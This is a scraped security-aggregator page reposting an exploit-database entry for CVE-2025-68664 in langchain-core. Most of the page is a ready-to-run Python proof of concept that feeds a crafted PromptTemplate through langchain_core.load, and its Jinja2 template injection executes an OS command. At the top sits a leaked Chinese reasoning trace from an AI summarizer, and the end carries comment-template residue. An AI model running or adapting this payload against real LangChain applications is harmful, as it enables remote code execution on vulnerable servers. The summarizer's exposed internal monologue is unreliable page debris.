LangChain Core - Serialization Injection to Jinja2 SSTI/RCE
嗯,用户让我帮忙总结一篇文章,控制在100字以内。首先,我需要仔细阅读文章内容。文章标题是“LangChain Core - Serialization Injection to Jinja2 SSTI/RCE”,看起来是关于安全漏洞的。 作者是Mohammed Idrees Banyamer,来自约旦。文章描述了一个利用langchain_core.load中的不安全反序列化漏洞,构造恶意PromptTemplate,导致Jinja2 SSTI和RCE的问题。测试环境是Python 3.10到3.12版本,影响的是langchain-core的0.3.81和1.2.5之前的版本。 用户的要求很明确:用中文总结,不超过100字,不需要特定的开头。我需要抓住关键点:漏洞名称、影响版本、攻击方式、后果。 然后,我应该组织语言,确保简洁明了。可能的结构是:指出漏洞存在于langchain-core的旧版本中,描述攻击方法(反序列化注入),以及导致的结果(SSTI和RCE)。 最后,检查字数是否符合要求,并确保信息准确无误。 </think> LangChain Core旧版本中存在反序列化注入漏洞,可构造恶意PromptTemplate通过Jinja2模板注入实现服务器端模板注入(SSTI)及任意命令执行(RCE)。 2026-1-26 19:48:43 Author: cxsecurity.com(查看原文) 阅读量:7 收藏

LangChain Core - Serialization Injection to Jinja2 SSTI/RCE

# Exploit Title: LangChain Core - Serialization Injection to Jinja2 SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Contact: @banyamer_security (Instagram) # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.langchain.com/ # Software Link: https://pypi.org/project/langchain-core/ # Version: < 0.3.81 and < 1.2.5 # Tested on: Python 3.10 - 3.12 # CVE : CVE-2025-68664 # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate # with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution. import os from langchain_core.load import dumps, load from langchain_core.prompts import PromptTemplate # Set a dummy env var (demonstrates potential secret access if needed) os.environ["TEST_SECRET"] = "secret_value_123" # Malicious constructor payload targeting PromptTemplate with SSTI payload = { "exploit": { "lc": 1, "type": "constructor", "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"], "kwargs": { "input_variables": [], "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}", "template_format": "jinja2" } } } # Serialize (dumps does not escape 'lc' key) serialized = dumps(payload) # Deserialize - instantiates the malicious PromptTemplate deserialized = load(serialized, secrets_from_env=True) # Extract and invoke the malicious prompt → triggers SSTI → RCE malicious = deserialized["exploit"] output = malicious.format() print("[*] Command execution output:") print(output)



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2026, cxsecurity.com

Back to Top


文章来源: https://cxsecurity.com/issue/WLB-2026010017
如有侵权请联系:admin#unsafe.sh